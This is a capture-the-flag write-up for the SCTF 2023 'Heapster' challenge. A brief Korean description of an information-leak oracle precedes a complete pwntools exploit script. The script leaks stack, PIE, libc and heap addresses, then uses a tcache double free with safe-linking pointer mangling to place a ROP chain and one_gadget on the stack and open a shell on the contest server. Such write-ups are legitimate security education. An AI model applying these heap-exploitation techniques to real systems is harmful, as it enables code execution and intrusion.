SCTF 2023 - Heapster
Posted on Wed 23 August 2023 in CTF
취약점
Validation 함수을 이용해서 Stack의 값을 알아낼 수 있고 PIE, LIBC_BASE, Stack의 주소를 알아낼 수 있다. 또한 Heap에 data 영역을 사용해서 Heap의 주소도 알아낼 수 있다.
익스플로잇
from pwn import * import struct # context.log_level = 'debug' libc_one_gadget = 0xebcf8 libc_pop_rsi = 0x000000000002be51 def conceal_next(pos, ptr): return (pos>>12) ^ ptr def reveal_next(x): tmp = x ^ ( (x>>12)&0xfff000000 ) tmp = x ^ ( (tmp>>12)&0xffffff000 ) tmp = x ^ ( (tmp>>12) ) return tmp def add(index, data): p.recvuntil(b'cmd: ') p.sendline(b'1') p.sendline(str(index).encode()) p.send(data) def delete(index): p.recvuntil(b'cmd: ') p.sendline(b'2') p.sendline(str(index).encode()) def print_node(): p.recvuntil(b'cmd: ') p.sendline(b'3') def validation(): p.recvuntil(b'cmd: ') p.sendline(b'4') def leak_stack(index): add(index, b'a'*8) stack_addr = b'' for _ in range(8): for i in range(0x01, 0xff+1): add(index, stack_addr + struct.pack("B", i) + b'\n') validation() result = p.recvuntil(b'.\n') if(b'success' in result): stack_addr += struct.pack("B", i) break elif(b'fail' in result): continue else: print("ERROR") assert(0) add(index, b'\x00') return u64(stack_addr.ljust(8, b'\x00')) ######### Open Process and etc. ######### # p = process('./chal') p = remote('heapster.sstf.site', 31339) elf = ELF('./chal') libc = ELF('./libc.so.6') ######### Leak Informations ######### ### Leak Stack ### stack_addr = leak_stack(10) + 8 log.info("STACK : " + hex(stack_addr)) ### Leak PIE base ### # I don't use PIE base address, but I just leak it. pie_addr = leak_stack(11) - 0x1792 log.info("PIE : " + hex(pie_addr)) ### Leak Libc base ### libc_base = leak_stack(21) - 0x29d90 # __libc_start_call_main+128 log.info("LIBC : " + hex(libc_base)) ### Leak Heap ### # reuse heap used for leak ret and pie. delete(10) # now, tcache : 10 || count = 1 delete(11) # now, tcache : 11 -> 10 || count = 2 print_node() p.recvuntil(b'->') heap_addr = reveal_next(u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))) log.info("HEAP : " + hex(heap_addr)) ######### ROP using Double Free ######### ### set pop rdi ### # tcache : 11 -> 10 || count = 2 add(11, b'a'*16) delete(11) # now, tcache : 11 -> 11 ; 10 || count = 3 add(3, p64(conceal_next(heap_addr + 0x20, stack_addr - 0x8))) # now, tcache : 11 -> (sfp of main) ; 11 || count = 2 add(31, b'a'*16) # now, tcache : (sfp of main) ; 10 || count = 1 pl = p64(stack_addr + 0x20) pl += p64(libc_base + libc_pop_rsi) add(30, pl) # now, tcache : (null) ; 10 || count = 0 for _ in range(3): add(11, b'a'*16) delete(11) # now, tcache : 11 -> 11 -> 11 ; 10 || count = 3 add(3, p64(conceal_next(heap_addr + 0x20, stack_addr + 0x10 - 0x8))) # now, tcache : 11 -> (ret+8 of main) ; 10 || count = 2 add(29, b'a'*16) # now, tcache : (ret+8 of main) ; 10 || count = 1 pl = p64(0) pl += p64(libc_base + libc_one_gadget) add(28, pl) ######### Exit main and get shell ######### p.sendline(b'5') p.interactive()